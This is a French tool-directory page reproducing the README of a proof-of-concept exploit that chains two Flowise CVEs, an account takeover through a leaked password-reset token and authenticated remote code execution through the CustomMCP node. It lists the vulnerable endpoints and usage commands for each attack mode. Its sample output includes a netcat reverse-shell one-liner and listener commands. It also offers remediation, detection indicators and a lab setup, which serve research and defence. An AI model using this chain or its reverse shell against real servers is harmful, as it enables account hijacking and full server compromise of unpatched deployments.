Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/0xdaeras/flowise-cve-2025-58434-chain-59528
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationApprentissage et ÉducationLabs et Pratique
GitHub0xdaeras/flowise-cve-2025-58434-chain-59528

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Flowise-CVE-2025-58434-Chain-59528

FlowiseAI CVE-2025-58434 & CVE-2025-59528 exploit PoC, démontrant un ATO non authentifié via une fuite de jeton de réinitialisation, suivi d'une RCE authentifiée. Comprend un environnement de laboratoire Docker reproductible.

Voir le dépôt
1il y a 3 moisPas encore vérifié

Chaîne de CVEs FlowiseAI - ATO (CVE-2025-58434) et RCE (CVE-2025-59528)

CVE-2025-58434 CVSS-1 CVE-2025-59528 CVSS-2 Python License

⚠️ À des fins éducatives et de recherche en sécurité autorisée uniquement. L'utilisation de cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite est illégale.


Table des matières

Ce dépôt contient une preuve de concept en Python pour enchaîner deux vulnérabilités de Flowise :

  • CVE-2025-58434 — Prise de contrôle de compte via le comportement exposé du jeton de réinitialisation de mot de passe.
  • CVE-2025-59528 — Exécution de code à distance via une évaluation JavaScript non sécurisée dans le nœud CustomMCP.

Flowise est une plateforme glisser-déposer pour construire des applications LLM et des workflows d'agents IA. CVE-2025-59528 affecte Flowise 3.0.5 et a été corrigée dans la version 3.0.6. Le problème vient du traitement non sécurisé de mcpServerConfig à l'intérieur du nœud CustomMCP. CVE-2025-58434 est liée à l'exposition du jeton de réinitialisation de mot de passe et a également été corrigée dans Flowise 3.0.6.

L'outil prend en charge :

  • Vérification de la vulnérabilité
  • Processus de prise de contrôle de compte
  • Connexion et récupération des cookies
  • RCE authentifiée
  • Mode chaîne complète : ATO → connexion → RCE

Détails des vulnérabilités

CVE-2025-58434 — Prise de contrôle de compte

  • Identifiant CVE : CVE-2025-58434
  • Score CVSS v3.1 : 9.8 (Critique)
  • Type de vulnérabilité : Prise de contrôle de compte / Contournement d'authentification
  • Produit concerné : Flowise
  • Version affectée testée : Flowise 3.0.5
  • Version corrigée : Flowise 3.0.6
  • Authentification requise : Non
  • Impact : Divulgation du jeton de réinitialisation de mot de passe, prise de contrôle de compte

Le processus de réinitialisation de mot de passe vulnérable expose des données sensibles de l'utilisateur, y compris les jetons temporaires de réinitialisation de mot de passe, dans la réponse de l'API. Un attaquant qui connaît une adresse e-mail valide peut demander une réinitialisation de mot de passe, récupérer le jeton temporaire dans la réponse et l'utiliser pour définir un nouveau mot de passe pour le compte.

Le comportement vulnérable affecte Flowise cloud ainsi que les déploiements auto-hébergés/locaux exposant la même surface d'API. La correction consiste à ne jamais renvoyer de jetons de réinitialisation de mot de passe ni de données sensibles de réinitialisation de compte directement dans les réponses de l'API.

CVE-2025-59528 — Exécution de code à distance

  • Identifiant CVE : CVE-2025-59528
  • Score CVSS v3.1 : 10.0 (Critique)
  • Type de vulnérabilité : Injection de code JavaScript / Exécution de code à distance
  • Produit concerné : Flowise
  • Version affectée testée : Flowise 3.0.5
  • Version corrigée : Flowise 3.0.6
  • Authentification requise : Oui
  • Impact : Exécution arbitraire de JavaScript dans l'environnement Node.js, RCE sur le serveur hébergeant Flowise

La vulnérabilité existe dans le nœud CustomMCP de Flowise. Le paramètre mcpServerConfig est analysé dans le cadre du processus de configuration du serveur MCP et est évalué comme du code JavaScript sans aucune validation de sécurité. Cela permet à un attaquant authentifié d'injecter du code JavaScript arbitraire, qui est exécuté dans l'environnement Node.js du serveur Flowise. Dans la fonction convertToValidJSONString, l'entrée utilisateur est passée au constructeur Function, qui évalue l'entrée comme du code JavaScript avec tous les privilèges Node.js, permettant d'accéder à des modules comme child_process pour exécuter des commandes système.

Le point de terminaison vulnérable utilisé par cette PoC est :

root@kitploit:~
POST /api/v1/node-load-method/customMCP

avec une charge utile js dans le champ mcpServerConfig du corps JSON, par exemple :

root@kitploit:~
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "..."
  }
}

Le code vulnérable se trouve dans le fichier CustomMCP.ts et est référencé dans l'avis du mainteneur GitHub pour cette CVE.


Déroulement de l'attaque

root@kitploit:~
Attaquant                                  Flowise
   │                                          │
   │  [CVE-2025-58434]                       │
   │  POST /api/v1/account/forgot-password   │
   │  { email }                              │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  objet utilisateur + tempToken           │
   │                                          │
   │  POST /api/v1/account/reset-password     │
   │  { email, tempToken, newPassword }       │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  mot de passe modifié                    │
   │                                          │
   │  POST /api/v1/auth/login                 │
   │  { email, newPassword }                  │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  token / refreshToken / connect.sid      │
   │                                          │
   │  [CVE-2025-59528]                       │
   │  POST /api/v1/node-load-method/customMCP │
   │  mcpServerConfig=<config malveillant>    │
   │─────────────────────────────────────────►│
   │                              JS évalué dans Node.js
   │                              commande exécutée
   │◄─────────────────────────────────────────│
   │  sortie de la commande ou charge utile   │
   │                                          │
   ✓  Prise de contrôle de compte + RCE authentifiée

Structure du dépôt :

root@kitploit:~
Structure du dépôt
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/

Installation

Outil

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt

Laboratoire Docker

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # Configurez les variables d'environnement
docker-compose up -d

Utilisation

Comportement par défaut

Sans aucun argument, l'outil exécutera la chaîne d'attaque complète, vérifiera la vulnérabilité cible, effectuera la prise de contrôle du compte pour l'e-mail fourni, se connectera pour récupérer les cookies, puis exploitera la vulnérabilité RCE avec une charge utile de shell inverse. Lancez un écouteur dédié (par exemple, nc -lvnp 9889) avant d'exécuter l'outil en mode chaîne complète.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889

Écran d'aide

root@kitploit:~
python3 exploit.py -h

Modes

check-mode

Effectue une vérification de version pour déterminer si la cible est vulnérable à CVE-2025-58434 et CVE-2025-59528. Il envoie une requête à l'API cible et analyse la réponse pour identifier la version de Flowise et l'état de la vulnérabilité.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 check

ato-mode

Exécute le processus de prise de contrôle de compte pour CVE-2025-58434. Il envoie une demande de réinitialisation de mot de passe pour l'e-mail spécifié, récupère le jeton temporaire dans la réponse, puis utilise ce jeton pour définir un nouveau mot de passe (par défaut : "Password123!") pour le compte.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode

login-mode

Se connecte à la cible en utilisant l'e-mail et le mot de passe spécifiés (par défaut : "Password123!"). En cas de succès, il récupère et affiche les cookies d'authentification (par exemple, connect.sid) pour une utilisation dans les requêtes authentifiées.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode

rce-mode

Exploite la vulnérabilité RCE (CVE-2025-59528) en envoyant une charge utile mcpServerConfig malveillante au point de terminaison vulnérable. La charge utile est conçue pour exécuter une commande de shell inverse qui se connecte à la machine de l'attaquant sur le LHOST et LPORT spécifiés. Si aucun token n'est fourni, il tente automatiquement de se connecter et de récupérer un token valide pour l'exploitation. Si aucun LHOST/LPORT n'est fourni, il utilise par défaut une charge utile simple avec la commande id qui renvoie la sortie dans la réponse. Lancez un écouteur dédié (par exemple, nc -lvnp 9889) avant d'exécuter l'outil en mode chaîne complète.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode

full-chain-mode

Mode par défaut. Exécute séquentiellement la chaîne d'attaque complète : vérifie les vulnérabilités, effectue la prise de contrôle de compte, se connecte pour récupérer les cookies, puis exploite la vulnérabilité RCE avec la charge utile de shell inverse. Lancez un écouteur dédié (par exemple, nc -lvnp 9889) avant d'exécuter l'outil en mode chaîne complète.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode

Référence des options

Cible et authentification

Modes d'exploitation

Options RCE

Sécurité et sortie

Exemple de sortie

root@kitploit:~
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode

                                                                                                                                   
___________.__                .__                _________ .__           .__        
\_   _____/|  |   ______  _  _|__| ______ ____   \_   ___ \|  |__ _____  |__| ____   
 |    __)  |  |  /  _ \ \/ \/ /  |/  ___// __ \  /    \  \/|  |  \\__  \ |  |/    \  
 |     \   |  |_(  <_> )     /|  |\___ \\  ___/  \     \___|   Y  \/ __ \|  |   |  \ 
 \___  /   |____/\____/ \/\_/ |__/____  >\___  >  \______  /___|  (____  /__|___|  / 
     \/                               \/     \/          \/     \/     \/        \/  
                                                                                     

  ────────────────────────────────────────────────────────────────────────────────
[∗] Target URL: http://localhost:3000
[∗] Module : full-mode
[∗] Email  : [email protected]
  ────────────────────────────────────────────────────────────────────────────────
[∗] Checking for target vulnerability...
[+] Target appears to be vulnerable.
  ────────────────────────────────────────────────────────────────────────────────
[∗] Starting Account Takeover (CVE-2025-58434)...
[+] Password reset request sent successfully.
[∗] Target user data :

 🡪  ID             : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
 🡪  Name           : Lab Admin
 🡪  Email          : [email protected]
 🡪  Credential     : $2a$10$lKbQNf8pVQXJFMzzW...
 🡪  Status         : active
 🡪  Temp Token     : AWtyV7mxIa6h12OhlB7H0mMl...
 🡪  Token Expiry   : 2026-05-08T19:37:47.025Z

[∗] Attempting to reset password using the temporary token...
[∗] New password : Password123!
[+] Account takeover successful! New credentials:

 🡪  Email          : [email protected]
 🡪  Password       : Password123!
  ────────────────────────────────────────────────────────────────────────────────
[∗] Starting login process to retrieve session cookies...
[+] Login successful!
[+] Retrieved session tokens :

 🡪  Token          : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
 🡪  connect.sid    : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
 🡪  refreshToken   : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
  ────────────────────────────────────────────────────────────────────────────────
[∗] Starting Remote Code Execution (CVE-2025-59528)...
[!] Make sure to have a listener ready if using a reverse shell command!

[∗] Reverse shell command: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[∗] Target URL: http://localhost:3000/api/v1/node-load-method/customMCP

[∗] Sending payload to trigger RCE...
[+] Payload sent. Check your listener for a reverse shell connection!
  ────────────────────────────────────────────────────────────────────────────────
[+] Work done. Bye!

Laboratoire Docker

Un laboratoire local est recommandé pour des tests sécurisés.

Installation du laboratoire :

root@kitploit:~
cp .env.example .env  # Configurez les variables d'environnement selon vos besoins
docker compose up -d --build
docker compose logs -f

Deux comptes Flowise sont créés par défaut :

  • Admin : L'e-mail est [email protected], le mot de passe est généré aléatoirement au démarrage du conteneur (vérifiez les logs pour le mot de passe).
  • Utilisateur : L'e-mail est [email protected], le mot de passe est généré aléatoirement au démarrage du conteneur mais n'apparaît pas dans les logs. C'est la cible prévue pour le processus ATO.

Exécutez la PoC contre l'instance locale :

root@kitploit:~
python3 exploit.py \
  -t http://localhost:3000 \
  -e [email protected] \
  --new-password 'Password123!' \
  --no-check \
  full-mode

Pour inspecter les logs de Flowise :

root@kitploit:~
docker compose logs -f flowise-cve-lab

ou :

root@kitploit:~
docker logs -f flowise-cve-lab

Remédiation

Recommandations générales

Contre CVE-2025-58434

  • Mettez à niveau Flowise vers la version 3.0.6 ou ultérieure.
  • Ne renvoyez jamais les jetons de réinitialisation de mot de passe dans les réponses de l'API.
  • Délivrez les jetons de réinitialisation uniquement par le canal de l'e-mail enregistré.
  • Invalidez les jetons de réinitialisation après une seule utilisation.
  • Ajoutez une expiration stricte et une limitation de débit aux points de terminaison de réinitialisation de mot de passe.

Contre CVE-2025-59528

  • Mettez à niveau Flowise vers la version 3.0.6 ou ultérieure.
  • Évitez d'évaluer la configuration contrôlée par l'utilisateur comme du JavaScript.
  • Supprimez les motifs d'exécution dynamique non sécurisés comme Function, eval ou équivalents.
  • Validez et analysez la configuration MCP comme des données strictes, et non comme du code exécutable.

Idées de détection

Indicateurs potentiels d'exploitation :

  • Requêtes vers /api/v1/node-load-method/customMCP
  • Valeurs suspectes de mcpServerConfig contenant une syntaxe de type JavaScript.
  • Chaînes telles que : process.mainModule, child_process, execSync, Buffer.from, Function
  • Demandes de réinitialisation de mot de passe suivies d'une connexion immédiate et d'un accès à CustomMCP.
  • Connexions sortantes depuis le conteneur ou l'hôte Flowise.

Chronologie de divulgation

  • 2025-12-09 : CVE-2025-58434 est divulguée par les utilisateurs zaddy6 et arthurgervais sur Github Advisories, avec un rapport détaillé et une PoC.
  • 2025-13-09 : CVE-2025-59528 est divulguée par l'utilisateur im-soohyun sur Github Advisories, avec un rapport détaillé et une PoC.
  • 2025-15-09 : Les deux CVEs sont corrigées dans Flowise 3.0.6, publiée sur Github.

Avertissement

Ce projet est fourni à des fins éducatives, de tests en laboratoire et de recherche en sécurité autorisée uniquement.

Vous êtes responsable de vous assurer que vous disposez d'une autorisation explicite avant d'exécuter cet outil contre un système. L'auteur n'est pas responsable de l'utilisation abusive, des dommages ou des activités illégales réalisées avec ce code. Suivez toujours les directives éthiques et les exigences légales lors de tests de sécurité.


Références

  • CVE-2025-58434
  • CVE-2025-59528
  • Dépôt GitHub de Flowise
  • Avis du mainteneur Flowise pour CVE-2025-58434
  • Avis du mainteneur Flowise pour CVE-2025-59528
  • Notes de version de Flowise 3.0.6
Télécharger l’outil
OptionDescriptionExemple
-t, --targetURL de base de la cible-t http://localhost:3000
-e, --emailE-mail du compte cible-e [email protected]
--passwordMot de passe connu (mode login/RCE)--password Password123!
--tokenJeton de session existant (saute login)--token eyJ...
--new-passwordMot de passe à définir lors de l'ATO--new-password Password123!
ModeDescription
checkVérifie si la cible semble vulnérable
ato-modeExécute uniquement le processus de prise de contrôle du compte
login-modeSe connecte et récupère les cookies de session
rce-modeExécute uniquement le processus RCE
full-modeEnchaîne ATO, login et RCE
OptionDescriptionExemple
-c, --commandCommande personnalisée à exécuter-c 'id'
--lhostHôte de l'écouteur pour shell inverse--lhost 10.10.14.3
--lportPort de l'écouteur pour shell inverse--lport 4444
OptionDescriptionValeur par défaut
--no-checkIgnorer la vérification de version/vulnérabilitéFalse
-v, --verboseActiver les logs de débogageFalse
--log-fileChemin du fichier de logslogs/exploit.log
--no-colorDésactiver les couleurs ANSIFalse